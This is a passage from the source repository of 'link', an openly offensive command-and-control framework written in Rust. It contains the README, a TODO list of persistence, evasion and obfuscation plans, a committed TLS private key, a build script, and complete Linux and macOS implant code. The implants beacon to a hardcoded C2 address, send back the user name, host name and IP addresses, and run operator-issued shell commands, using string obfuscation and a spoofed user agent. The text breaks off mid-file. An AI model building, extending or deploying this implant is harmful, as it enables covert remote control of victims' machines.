634 |
635 | This program is free software: you can redistribute it and/or modify
636 | it under the terms of the GNU Affero General Public License as published
637 | by the Free Software Foundation, either version 3 of the License, or
638 | (at your option) any later version.
639 |
640 | This program is distributed in the hope that it will be useful,
641 | but WITHOUT ANY WARRANTY; without even the implied warranty of
642 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
643 | GNU Affero General Public License for more details.
644 |
645 | You should have received a copy of the GNU Affero General Public License
646 | along with this program. If not, see .
647 |
648 | Also add information on how to contact you by electronic and paper mail.
649 |
650 | If your software can interact with users remotely through a computer
651 | network, you should also make sure that it provides a way for users to
652 | get its source. For example, if your program is a web application, its
653 | interface could display a "Source" link that leads users to an archive
654 | of the code. There are many ways you could offer source, and different
655 | solutions will be better for different programs; see section 13 for the
656 | specific requirements.
657 |
658 | You should also get your employer (if you work as a programmer) or school,
659 | if any, to sign a "copyright disclaimer" for the program, if necessary.
660 | For more information on this, and how to apply and follow the GNU AGPL, see
661 | .
662 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | link
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 | link is a command and control framework written in rust. Currently in beta.
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 | ## Table of Contents
23 |
24 | - [Introduction](#introduction)
25 | - [Features](#features)
26 | - [Feedback](#feedback)
27 | - [Build Process](#build-process)
28 | - [Acknowledgments](#acknowledgments)
29 |
30 | ## Introduction
31 |
32 | [](https://img.shields.io/github/repo-size/postrequest/link)
33 | [](https://img.shields.io/tokei/lines/github/postrequest/link)
34 | [](https://www.gnu.org/licenses/agpl-3.0.en.html)
35 | [](https://rust-reportcard.xuri.me/report/github.com/postrequest/link)
36 |
37 | link provides MacOS, Linux and Windows implants which may lack the necessary evasive tradecraft provided by other more mature command and control frameworks.
38 |
39 | ## Features
40 |
41 | Hopefully this list expands for humans to actually want to use this:
42 |
43 | * HTTPS communication
44 | * Process injection
45 | * In-memory .NET assembly and Windows PE execution
46 | * SharpCollection tools
47 | * sRDI implementation for shellcode generation
48 | * Windows link reloads DLLs from disk into current process
49 |
50 | ## Feedback
51 |
52 | Feel free to [file an issue](https://github.com/postrequest/link/issues/new).
53 |
54 | ## Build Process
55 |
56 | - Clone or download the repo
57 | - `cargo run` if you are eager to run it **right now**
58 | - `cargo build --release` to build the link server executable
59 |
60 | For more information check out [Installation and Usage](https://github.com/postrequest/link/wiki/Installation-and-Usage).
61 |
62 | ## Acknowledgments
63 |
64 | A non-exhaustive list of those who have in some way inspired this project by means of writing code, snippets, ideas or inspiration:
65 |
66 | [@rust](https://github.com/rust-lang)
67 | [@moloch--](https://github.com/moloch--)
68 | [@djhohnstein](https://github.com/djhohnstein)
69 | [@lesnuages](https://github.com/lesnuages)
70 | [@Flangvik](https://github.com/Flangvik)
71 | [@monoxgas](https://github.com/monoxgas)
72 | [@b4rtik](https://github.com/b4rtik)
73 |
74 |
--------------------------------------------------------------------------------
/TODO:
--------------------------------------------------------------------------------
1 | [Windows Persistence]
2 | * generate dlls ready for proxying for teams
3 | * registry
4 | * startup folder
5 | * junction folder
6 | * COM scheduled task: similar to COM hijack but you are not actually hijacking an existing COM object, but instead implementing and registering your own
7 |
8 | [TUI]
9 | https://github.com/fdehau/tui-rs
10 | https://github.com/ivanceras/titik
11 |
12 | [GUI]
13 | https://github.com/PistonDevelopers/conrod/
14 |
15 | [Link]
16 | - make jitter and delay adjustable
17 | - add evasion PPID spoofer for windows
18 | - make use of evasion from https://github.com/f0rb1dd3n/Reptile for linux link
19 | - check this out https://github.com/gsfraley/dotrust
20 |
21 | [Link Modules]
22 | - add powershell modules from empire
23 | - all powershell modules should take advantage of xeca
24 | - add https://github.com/deadjakk/RustPivot/
25 | - add https://github.com/itm4n/PPLdump
26 |
27 | [Compile obfuscation]
28 | Use the following projects for implementation
29 | - https://github.com/tsarpaul/llvm-string-obfuscator
30 | - https://github.com/moloch--/denim
31 |
32 | [Server]
33 | - launch server from cli
34 | - add other transports such as DNS
35 | - add xeca as a generate option
36 | - add autocompletion
37 | - add https://github.com/deadjakk/RustPivot/
38 | - accept dynamic hostnames
39 | - use a better encoding than base64 for binary to ascii transfer, such as yEnc ose Base85
40 |
41 | [Code]
42 | - clean up repetition
43 |
44 | [Build]
45 | - for kali 'apt install mono-mcs' for dynamic powershell scripts || https://github.com/mgeeky/Stracciatella/releases/latest/download/Stracciatella.exe
46 |
--------------------------------------------------------------------------------
/cert/cert.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN CERTIFICATE-----
2 | MIIFCTCCAvGgAwIBAgIUTVuT1Q/VL8Kcn2ZLYmTcUtbgt9UwDQYJKoZIhvcNAQEL
3 | BQAwFDESMBAGA1UEAwwJbG9jYWxob3N0MB4XDTIwMTIxNjA4NTcwMloXDTIxMTIx
4 | NjA4NTcwMlowFDESMBAGA1UEAwwJbG9jYWxob3N0MIICIjANBgkqhkiG9w0BAQEF
5 | AAOCAg8AMIICCgKCAgEA6EaZ/dvy2UWD5Zj7z7Rupvbh9p68fsPlllKY5CI1G8dT
6 | 2jMutqFTGjFgdosGmkmS1YuCIOCly3SpPbcBM7qQ/T6gV/yRRXmIZa8RGcKDsMJW
7 | 6dpIlw33Ba2KVUKsSllbqRn67+/SwDFK5jniyOM7nuMSQMMBphTnG3/yopho1ha/
8 | w9LBbCFE7Ax/Brkehj7ntIomSTeuajiW7MGJcEy8lhGZc6W4PUQ4D0mJQ+w1fAdZ
9 | 4PNeI9XKsB+BhUlIghQqzapVvFBlBJNnijSsrYuBRghH/25sODjHWO4dVS5C/epR
10 | VeCY25/8NzQg4ZxcmSohw1pKhHHJGjG6aVxcxyuEHiGSXWyXg22WgYp4tBrCxbnO
11 | Q2fRJ0UgRQZprVlAGyODjLre5uKn16cdT5x3IYdB8MzlL8aI8WchDwoFCb1VeNek
12 | yAyArmhwhx8+odVtcqyAnLgjqrAHxwA0L4A3tuoC28zsSsrYTLD1E92BIdH8Q4Wy
13 | a6Yub8d0/uTzT5M3ZPjNRgcrtEc21vyQiS82ZhCZor8Il3kCNN4qPDftT+ZENoRd
14 | 4YlDpSSplQ7sWLfpqz6RdzPM0rBt6pLwXp7wkr4//W7n0qlm94BDobubUg+09pY2
15 | 7zGtUwccvsiRkVTeb14n7bM/VgWXGe84ohWqxb9ztQ69ktgwbI9vMF8ax+o7O+EC
16 | AwEAAaNTMFEwHQYDVR0OBBYEFHO4q4sBhTnasIg7JfuWqdHfzrUmMB8GA1UdIwQY
17 | MBaAFHO4q4sBhTnasIg7JfuWqdHfzrUmMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZI
18 | hvcNAQELBQADggIBAAR9AB2HVjNLBa497ZbYgNcRPxTCUkNlw0gGmZ8JSl94vOSp
19 | HhmlbELoUYKsnWx0owB/vKcBdOCLVE7m03FZwW0nzs8nWz4ctC0rlhzXZOylIxd6
20 | mgA5fvGB37tnqs79SUjgW0dY8IMeakRZ2gRhTfe0mz8vaskSZh7S+m2n0P8mdj+C
21 | ZYYh67Z7p6/3X7kQCmMJ/WmNgnZIWOPu/fF14mFh1ube+6DvLsVzylZrg/88Yw2R
22 | PNxhbfXIP/YmYa7h17Sdhz8/GD3Uy5GtKmNal9MhCB/JXlu1A7D+lERsm8rsEayi
23 | uwXTpDfAPOeDoWjaPAJk5RT0dqq2TLw3z/c0Cnh2bKwZfVZkoMRF4JVPUCMXmXqW
24 | xOf7ZMq1TeHdu7U1dKyHQgqnyfORSvEAgLKsBEwNppi4XHRW9qxxUjkKLhLHv3Vb
25 | WG5GfJ7m+CpF4qwvEMm1SHQQ4ZdbOFBMu2jMCEVx0AwPWYqt5nQwE/NLDS+zsvZV
26 | G/laQl/kOxfIufgHYpaAKSOVw/fwy/4egEdVJvkbfe8j9bNGvCHJmF1QeFPmNuL6
27 | sOdKikkNwXfY9PvRj3xvtTihALxa5CS+mmKyJLHfR6K+9zo6fYZ8QF8xNK6my6Jk
28 | PkZVCaG+3BHkPyVllLKHnBR7RBufAPfHVG96VdjPayNm8IGK/ImksPsiyhfK
29 | -----END CERTIFICATE-----
30 |
--------------------------------------------------------------------------------
/cert/key.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN PRIVATE KEY-----
2 | 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
51 | uRCooLqjDvA97wRYaWzzR9segRDgKAji
52 | -----END PRIVATE KEY-----
53 |
--------------------------------------------------------------------------------
/kali-install.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # install dependencies
4 | sudo apt install -y libssl-dev
5 | sudo apt install -y librust-openssl-dev
6 | sudo apt install -y musl-tools
7 | # windows
8 | sudo apt install -y mingw-w64
9 | # osx
10 | sudo apt install -y cmake
11 | sudo apt install -y libxml2-dev
12 | curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
13 | source $HOME/.cargo/env
14 |
15 | # add target and config
16 | rustup target add x86_64-unknown-linux-musl
17 | # windows
18 | rustup target add x86_64-pc-windows-gnu
19 | cat > ~/.cargo/config << EOF
20 | [target.x86_64-pc-windows-gnu]
21 | linker = "/usr/bin/x86_64-w64-mingw32-gcc"
22 | ar = "/usr/x86_64-w64-mingw32/bin/ar"
23 | EOF
24 | # osx
25 | rustup target add x86_64-apple-darwin
26 | cat >> ~/.cargo/config << EOF
27 |
28 | [target.x86_64-apple-darwin]
29 | linker = "$HOME/.link/3rdparty/osxcross/target/bin/x86_64-apple-darwin15-clang"
30 | ar = "$HOME/.link/3rdparty/osxcross/target/bin/x86_64-apple-darwin15-ar"
31 | EOF
32 |
33 | cargo build --release
34 | echo -e "\n[+] link succesfully built, located at target/release/link"
35 |
36 |
--------------------------------------------------------------------------------
/src/assets/donut:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/postrequest/link/892f71ed858ed4c67bc0ec43556cc87788627f72/src/assets/donut
--------------------------------------------------------------------------------
/src/links/linux/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "link"
3 | version = "0.1.0"
4 | authors = ["postrequest"]
5 | edition = "2018"
6 | doc = false
7 |
8 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
9 |
10 | [profile.release]
11 | lto = true
12 | opt-level = 's'
13 | panic = 'abort'
14 | codegen-units = 1
15 |
16 | [features]
17 | dangerous_configuration = ["rustls/dangerous_configuration"]
18 |
19 | [dependencies]
20 | reqwest = { version = "0.10", features = ["blocking", "cookies", "json"] }
21 | rustls = "0.19.0"
22 | serde = "1.0.118"
23 | webpki = "0.21.4"
24 | base64 = "0.13.0"
25 | obfstr = "0.3"
26 | openssl = { version = "0.10.32", features = ["vendored"] }
27 | whoami = "1.1.2"
28 | ifcfg = "0.1"
29 |
--------------------------------------------------------------------------------
/src/links/linux/build.rs:
--------------------------------------------------------------------------------
1 | fn main() {
2 | println!("cargo:rustc-env=CALLBACK=10.0.2.2:8443");
3 | }
--------------------------------------------------------------------------------
/src/links/linux/src/main.rs:
--------------------------------------------------------------------------------
1 | mod stdlib;
2 |
3 | // UM link
4 | fn main() {
5 | stdlib::link_loop();
6 | }
7 |
--------------------------------------------------------------------------------
/src/links/linux/src/stdlib.rs:
--------------------------------------------------------------------------------
1 | // imports
2 | use std::time::Duration;
3 | use std::thread::sleep;
4 | use serde::{Serialize, Deserialize};
5 |
6 | // structs
7 | #[derive(Debug, Serialize, Deserialize)]
8 | pub struct RegisterLink {
9 | pub link_username: String,
10 | pub link_hostname: String,
11 | pub internal_ip: String,
12 | pub external_ip: String,
13 | pub platform: String,
14 | pub pid: u32,
15 | }
16 |
17 | #[derive(Debug, Serialize, Deserialize)]
18 | pub struct Task {
19 | pub q: String,
20 | pub tasking: String,
21 | pub x_request_id: String,
22 | }
23 |
24 | pub fn link_loop() {
25 | let ua = user_link();
26 | let client = reqwest::blocking::Client::builder()
27 | .user_agent(ua)
28 | .cookie_store(true)
29 | .danger_accept_invalid_certs(true)
30 | //.http2_prior_knowledge()
31 | .build().unwrap();
32 | // SECURITY
33 | // encrypted callback string with env var at build
34 | let callback = env!("CALLBACK").to_string();
35 | let step1_cb = format!("https://{}/js", callback);
36 | let step2_cb = format!("https://{}/static/register", callback);
37 | let step3_cb = format!("https://{}/static/get", callback);
38 | // keep retrying to reach C2
39 | loop {
40 | let step1 = client.get(step1_cb.as_str()).send();
41 | match step1 {
42 | Ok(_) => break,
43 | Err(_) => continue,
44 | }
45 | }
46 | let register_link = RegisterLink {
47 | link_username: whoami::username(),
48 | link_hostname: whoami::hostname(),
49 | internal_ip: internal_ip(),
50 | external_ip: String::new(),
51 | platform: std::env::consts::OS.to_string(),
52 | pid: pid(),
53 | };
54 | let mut uresp: reqwest::blocking::Response;
55 | loop {
56 | let resp = client.post(step2_cb.as_str())
57 | .json(®ister_link)
58 | .send();
59 | match resp {
60 | Ok(_) => {
61 | uresp = resp.unwrap();
62 | break
63 | },
64 | Err(_) => continue,
65 | }
66 | }
67 | let mut recv_task: Task = uresp.json().unwrap();
68 |
69 | // link loop
70 | let mut send_task = Task {
71 | q: String::from(""),
72 | tasking: String::from(""),
73 | x_request_id: String::from(""),
74 | };
75 | loop {
76 | // poll
77 | let resp = client.post(step3_cb.as_str())
78 | .header("x-request-id", recv_task.x_request_id.clone())
79 | .json(&send_task)
80 | .send();
81 | match resp {
82 | Ok(_) => (),
83 | Err(_) => continue,
84 | }
85 | uresp = resp.unwrap();
86 | recv_task = uresp.json().unwrap();
87 | send_task.q = String::new();
88 | send_task.tasking = String::new();
89 |
90 | if recv_task.tasking.len() > 0 {
91 | // time to exec the command
92 | send_task.q = link_command(recv_task.q);
93 | if send_task.q.clone() == "exit".to_string() {
94 | break;
95 | }
96 | send_task.tasking = recv_task.tasking;
97 | recv_task.q = String::new();
98 | recv_task.tasking = String::new();
99 | // no need to wait after a task
100 | continue;
101 | }
102 | // this should be defined by server with jitter and delay
103 | sleep(Duration::from_secs(3));
104 | }
105 | }
106 |
107 | fn link_command(command: String) -> String {
108 | // DEBUG AGENT
109 | let arg_split = command.as_str().split(' ');
110 | let args = arg_split.collect::>();
111 | // obfsscated args
112 | match args[0] {
113 | a if (a == obfstr::obfstr!("shell")) => shell(args),
114 | a if (a == obfstr::obfstr!("cd")) => cd(args),
115 | a if (a == obfstr::obfstr!("pwd")) => pwd(),
116 | a if (a == obfstr::obfstr!("ls")) => ls(args),
117 | a if (a == obfstr::obfstr!("pid")) => pid().to_string(),
118 | a if (a == obfstr::obfstr!("whoami")) => String::from(format!("{}@{}", whoami::username(), whoami::hostname())),
119 | a if (a == obfstr::obfstr!("exit")) => return "exit".to_string(),
120 | _ => String::from(format!("not a command")),
121 | }
122 | }
123 |
124 | fn shell(args: Vec<&str>) -> String {
125 | if args.len() < 1 {
126 | return String::from("")
127 | }
128 | let output = std::process::Command::new(args[1])
129 | .args(&args[2..])
130 | .output();
131 | match output {
132 | Ok(output) => { return String::from(format!("{}{}",
133 | String::from_utf8(output.stdout).unwrap(),
134 | String::from_utf8(output.stderr).unwrap()))
135 | },
136 | Err(e) => return format!("{}", e),
137 | }
138 | }
139 |
140 | fn ls(args: Vec<&str>) -> String {
141 | let mut directory = ".";
142 | if args.len() > 1 {
143 | directory = args[1];
144 | }
145 | let read = std::fs::read_dir(directory);
146 | let mut output: Vec = Vec::new();
147 | if read.is_ok() {
148 | for path in read.unwrap() {
149 | if let Ok(entry) = path {
150 | // get more metadata and format correctly
151 | // file and folder perms
152 | if let Ok(metadata) = entry.metadata() {
153 | output.push(String::from(format!("{:100} {}", entry.path().display(), metadata.len())));
154 | } else {
155 | output.push(String::from(format!("{}", entry.path().display())));
156 | }
157 | }
158 | }
159 | } else {
160 | return String::from(format!("Could not ls: {:?}", read.err().unwrap()))
161 | }
162 | output.join("\n")
163 | }
164 |
165 | fn pwd() -> String {
166 | if let Ok(current) = std::env::current_dir() {
167 | return String::from(format!("{}", current.display()))
168 | } else {
169 | return String::from("Could not get current directory")
170 | }
171 | }
172 |
173 | fn cd(args: Vec<&str>) -> String {
174 | if args.len() > 1 {
175 | if std::env::set_current_dir(args[1]).is_ok() {
176 | return String::from(args[1])
177 | } else {
178 | return String::from("Could not change directory")
179 | }
180 | } else {
181 | return String::from("")
182 | }
183 | }
184 |
185 | fn internal_ip() -> String {
186 | use ifcfg;
187 | let mut iface_string = String::new();
188 | let ifaces = ifcfg::IfCfg::get().expect("no if");
189 | for inf in ifaces {
190 | for addr in inf.addresses {
191 | match addr.address_family {
192 | ifcfg::AddressFamily::IPv4 => {
193 | let ip_raw = addr.address.unwrap().to_string();
194 | if iface_string.is_empty() {
195 | iface_string = format!("{}", ip_raw);
196 | continue;
197 | }
198 | iface_string = format!("{},{}", iface_string, ip_raw);
199 | }
200 | _ => (),
201 | }
202 | }
203 | }
204 | iface_string
205 | }
206 |
207 | fn pid() -> u32 {
208 | std::process::id()
209 | }
210 |
211 | // TODO
212 | // dynamic with build env var
213 | fn user_link() -> String {
214 | "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko".to_string()
215 | }
216 |
--------------------------------------------------------------------------------
/src/links/osx/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "link"
3 | version = "0.1.0"
4 | authors = ["postrequest"]
5 | edition = "2018"
6 | doc = false
7 |
8 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
9 |
10 | [profile.release]
11 | lto = true
12 | opt-level = 's'
13 | panic = 'abort'
14 | codegen-units = 1
15 |
16 | [dependencies]
17 | reqwest = { version = "0.10", features = ["blocking", "cookies", "json"] }
18 | serde = "1.0.118"
19 | webpki = "0.21.4"
20 | base64 = "0.13.0"
21 | obfstr = "0.3"
22 | whoami = "1.1.2"
23 | ifcfg = "0.1"
24 |
--------------------------------------------------------------------------------
/src/links/osx/build.rs:
--------------------------------------------------------------------------------
1 | fn main() {
2 | println!("cargo:rustc-env=CALLBACK=10.0.2.2:8443");
3 | }
--------------------------------------------------------------------------------
/src/links/osx/src/main.rs:
--------------------------------------------------------------------------------
1 | mod stdlib;
2 |
3 | // UM link
4 | fn main() {
5 | stdlib::link_loop();
6 | }
7 |
--------------------------------------------------------------------------------
/src/links/osx/src/stdlib.rs:
--------------------------------------------------------------------------------
1 | // imports
2 | use std::time::Duration;
3 | use std::thread::sleep;
4 | use serde::{Serialize, Deserialize};
5 |
6 | // structs
7 | #[derive(Debug, Serialize, Deserialize)]
8 | pub struct RegisterLink {
9 | pub link_username: String,
10 | pub link_hostname: String,
11 | pub internal_ip: String,
12 | pub external_ip: String,
13 | pub platform: String,
14 | pub pid: u32,
15 | }
16 |
17 | #[derive(Debug, Serialize, Deserialize)]
18 | pub struct Task {
19 | pub q: String,
20 | pub tasking: String,
21 | pub x_request_id: String,
22 | }
23 |
24 | pub fn link_loop() {
25 | let ua = user_link();
26 | let client = reqwest::blocking::Client::builder()
27 | .user_agent(ua)
28 | .cookie_store(true)
29 | .danger_accept_invalid_certs(true)
30 | //.http2_prior_knowledge()
31 | .build().unwrap();
32 | // SECURITY
33 | // encrypted callback string with env var at build
34 | let callback = env!("CALLBACK").to_string();
35 | let step1_cb = format!("https://{}/js", callback);
36 | let step2_cb = format!("https://{}/static/register", callback);
37 | let step3_cb = format!("https://{}/static/get", callback);
38 | // keep retrying to reach C2
39 | loop {
40 | let step1 = client.get(step1_cb.as_str()).send();
41 | match step1 {
42 | Ok(_) => break,
43 | Err(_) => continue,
44 | }
45 | }
46 | let register_link = RegisterLink {
47 | link_username: whoami::username(),
48 | link_hostname: whoami::hostname(),
49 | internal_ip: internal_ip(),
50 | external_ip: String::new(),
51 | platform: std::env::consts::OS.to_string(),
52 | pid: pid(),
53 | };
54 | let mut uresp: reqwest::blocking::Response;
55 | loop {
56 | let resp = client.post(step2_cb.as_str())
57 | .json(®ister_link)
58 | .send();
59 | match resp {
60 | Ok(_) => {
61 | uresp = resp.unwrap();
62 | break
63 | },
64 | Err(_) => continue,
65 | }
66 | }
67 | let mut recv_task: Task = uresp.json().unwrap();
68 |
69 | // link loop
70 | let mut send_task = Task {
71 | q: String::from(""),
72 | tasking: String::from(""),
73 | x_request_id: String::from(""),
74 | };
75 | loop {
76 | // poll
77 | let resp = client.post(step3_cb.as_str())
78 | .header("x-request-id", recv_task.x_request_id.clone())
79 | .json(&send_task)
80 | .send();
81 | match resp {
82 | Ok(_) => (),
83 | Err(_) => continue,
84 | }
85 | uresp = resp.unwrap();
86 | recv_task = uresp.json().unwrap();
87 | send_task.q = String::new();
88 | send_task.tasking = String::new();
89 |
90 | if recv_task.tasking.len() > 0 {
91 | // time to exec the command
92 | send_task.q = link_command(recv_task.q);
93 | if send_task.q.clone() == "exit".to_string() {
94 | break;
95 | }
96 | send_task.tasking = recv_task.tasking;
97 | recv_task.q = String::new();
98 | recv_task.tasking = String::new();
99 | // no need to wait after a task
100 | continue;
101 | }
102 | // this should be defined by server with jitter and delay
103 | sleep(Duration::from_secs(3));
104 | }
105 | }
106 |
107 | fn link_command(command: String) -> String {
108 | // DEBUG AGENT
109 | let arg_split = command.as_str().split(' ');
110 | let args = arg_split.collect::>();
111 | // obfsscated args
112 | match args[0] {
113 | a if (a == obfstr::obfstr!("shell")) => shell(args),
114 | a if (a == obfstr::obfstr!("cd")) => cd(args),
115 | a if (a == obfstr::obfstr!("pwd")) => pwd(),
116 | a if (a == obfstr::obfstr!("ls")) => ls(args),
117 | a if (a == obfstr::obfstr!("pid")) => pid().to_string(),
118 | a if (a == obfstr::obfstr!("whoami")) => String::from(format!("{}@{}", whoami::username(), whoami::hostname())),
119 | a if (a == obfstr::obfstr!("exit")) => return "exit".to_string(),
120 | _ => String::from(format!("not a command")),
121 | }
122 | }
123 |
124 | fn shell(args: Vec<&str>) -> String {
125 | if args.len() < 1 {
126 | return String::from("")
127 | }
128 | let output = std::process::Command::new(args[1])
129 | .args(&args[2..])
130 | .output();
131 | match output {
132 | Ok(output) => { return String::from(format!("{}{}",
133 | String::from_utf8(output.stdout).unwrap(),
134 | String::from_utf8(output.stderr).unwrap()))
135 | },
136 | Err(e) => return format!("{}", e),
137 | }
138 | }
139 |
140 | fn ls(args: Vec<&str>) -> String {
141 | let mut directory = ".";
142 | if args.len() > 1 {
143 | directory = args[1];
144 | }
145 | let read = std::fs::read_dir(directory);
146 | let mut output: Vec = Vec::new();
147 | if read.is_ok() {
148 | for path in read.unwrap() {
149 | if let Ok(entry) = path {
150 | // get more metadata and format correctly
151 | // file and folder perms
152 | if let Ok(metadata) = entry.metadata() {
153 | output.push(String::from(format!("{:100} {}", entry.path().display(), metadata.len())));
154 | } else {
155 | output.push(String::from(format!("{}", entry.path().display())));
156 | }
157 | }
158 | }
159 | } else {
160 | return String::from(format!("Could not ls: {:?}", read.err().unwrap()))
161 | }
162 | output.join("\n")
163 | }
164 |
165 | fn pwd() -> String {
166 | if let Ok(current) = std::env::current_dir() {
167 | return String::from(format!("{}", current.display()))
168 | } else {
169 | return String::from("Could not get current directory")
170 | }
171 | }
172 |
173 | fn cd(args: Vec<&str>) -> String {
174 | if args.len() > 1 {
175 | if std::env::set_current_dir(args[1]).is_ok() {
176 | return String::from(args[1])
177 | } else {
178 | return String::from("Could not change directory")
179 | }
180 | } else {
181 | return String::from("")
182 | }
183 | }
184 |
185 | fn internal_ip() -> String {
186 | use ifcfg;
187 | let mut iface_string = String::new();
188 | let ifaces = ifcfg::IfCfg::get().expect("no if");
